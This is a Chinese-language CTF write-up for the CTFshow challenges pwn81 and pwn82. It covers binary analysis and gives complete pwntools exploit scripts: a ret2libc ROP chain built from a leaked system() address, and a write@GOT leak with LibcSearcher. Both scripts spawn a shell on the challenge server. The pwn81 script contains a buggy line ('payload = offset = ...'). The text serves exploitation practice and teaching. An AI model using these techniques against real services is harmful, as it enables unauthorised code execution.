pwn81

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
$ file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d02ff0ab12b5833dd9785f1ff2eec91457b584d, not stripped

NX enabled64位动态链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char argv, const char envp)
{
void *v3; // rax
void *handle; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
puts("Maybe it's simple,O.o");
handle = dlopen("libc.so.6", 258);
v3 = dlsym(handle, "system");
printf("%p\n", v3);
ctfshow();
write(1, "Hello CTFshow!\n", 0xFu);
return 0;
}

这里有个函数从来没见过dlsym(Dynamic Linking Symbol),函数原型:

1
2
3
4
5
6
7
8
9
#include<dlfcn.h>
//函数原型
void *dlsym(void *handle, const char *symbol)

// handle的选择
// RTLD_DEFAULT 默认从搜索共享库中符号symbol第一次出现的地址
// 这个参数一般是选择头文件里面定义的标准函数,因为头文件的最初展开,所以第一次搜索到的位置就是系统函数的地址
// RTLD_NEXT
// 表示在当前库以后按默认的顺序搜索symbol第一次出现的位置,一般是hook重写了系统函数,用于检索自定义的函数的地址

我们运行一下能看到打印了地址,这地址也就是system()函数的地址

1
2
Maybe it's simple,O.o
0x711087050d70
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x100u);
}

栈溢出,offset = 0x80+8

1
2
3
4
5
6
7
$ ROPgadget --binary pwn --only 'pop|ret'
Gadgets information
============================================================
...
0x0000000000000a93 : pop rdi ; ret
...
0x00000000000006f6 : ret

一开始想利用本身的gadget的,但是但由于开了PIE随机地址,不能直接用elf的gadget,所以说需要利用libc库中的gadget

找到这两个即可,注意加上libcbase_addr即可

1
2
3
ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'ret' 
0x000000000002164f : pop rdi ; ret
0x00000000000008aa : ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/pwn')
libc = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/libc.so.6')
# elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\81\pwn")
context(arch='amd64',os='linux',log_level='debug')
p = remote('pwn.challenge.ctf.show', 28309)

p.recvuntil(b'0x')
leak_addr = eval(b'0x'+ p.recvuntil(b'\n',drop=True)[:16])
print(hex(leak_addr))

libc_base = leak_addr - libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(binsh))

offset = 0x80+8
rdi_ret = 0x2164f+libc_base
ret_addr = 0x8aa+libc_base

payload = offset = b'A' * offset
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(ret_addr)
payload += p64(leak_addr)
p.sendline(payload)

p.interactive()

pwn82

高级ROP 32 位 NO-RELRO

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/82/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4246d04ac4602f2323d98c0288704a86d074947d, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char argv, const char envp)
{
size_t n; // eax
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
int *p_argc; // [esp+70h] [ebp-Ch]

p_argc = &argc;
strcpy(buf, "Welcome to CTFshowPWN!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
n = strlen(buf);
write(1, buf, n);
show();
return 0;
}
1
2
3
4
5
6
7
ssize_t show()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

setbuf(stdin, buf);
return read(0, buf, 0x100u);
}

buf栈溢出,这里使用了write函数,利用泄露地址ret2libc。

write函数原型如下:

1
2
3
4
5
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\82\pwn")
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
p = remote('pwn.challenge.ctf.show', 28137)

offset = 0x6c+4
write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.symbols['show']

payload = b'A' * offset
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

p.recvuntil('Welcome to CTFshowPWN!\n')
p.sendline(payload)
write_addr = u32(p.recvuntil('\xf7'))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')

payload2 = b'A' * offset
payload2 += p32(system)
payload2 += p32(show_addr)
payload2 += p32(bin_sh)

sleep(0.1)
p.sendline(payload2)
p.interactive()

这里不知道为啥他自己的libc用不了,用了libcsearcher做的。

这里在网上看到了另外一个做的办法,这里记一下、后面来看:https://www.cnblogs.com/maicaii/p/18710479#pwn82

pwn83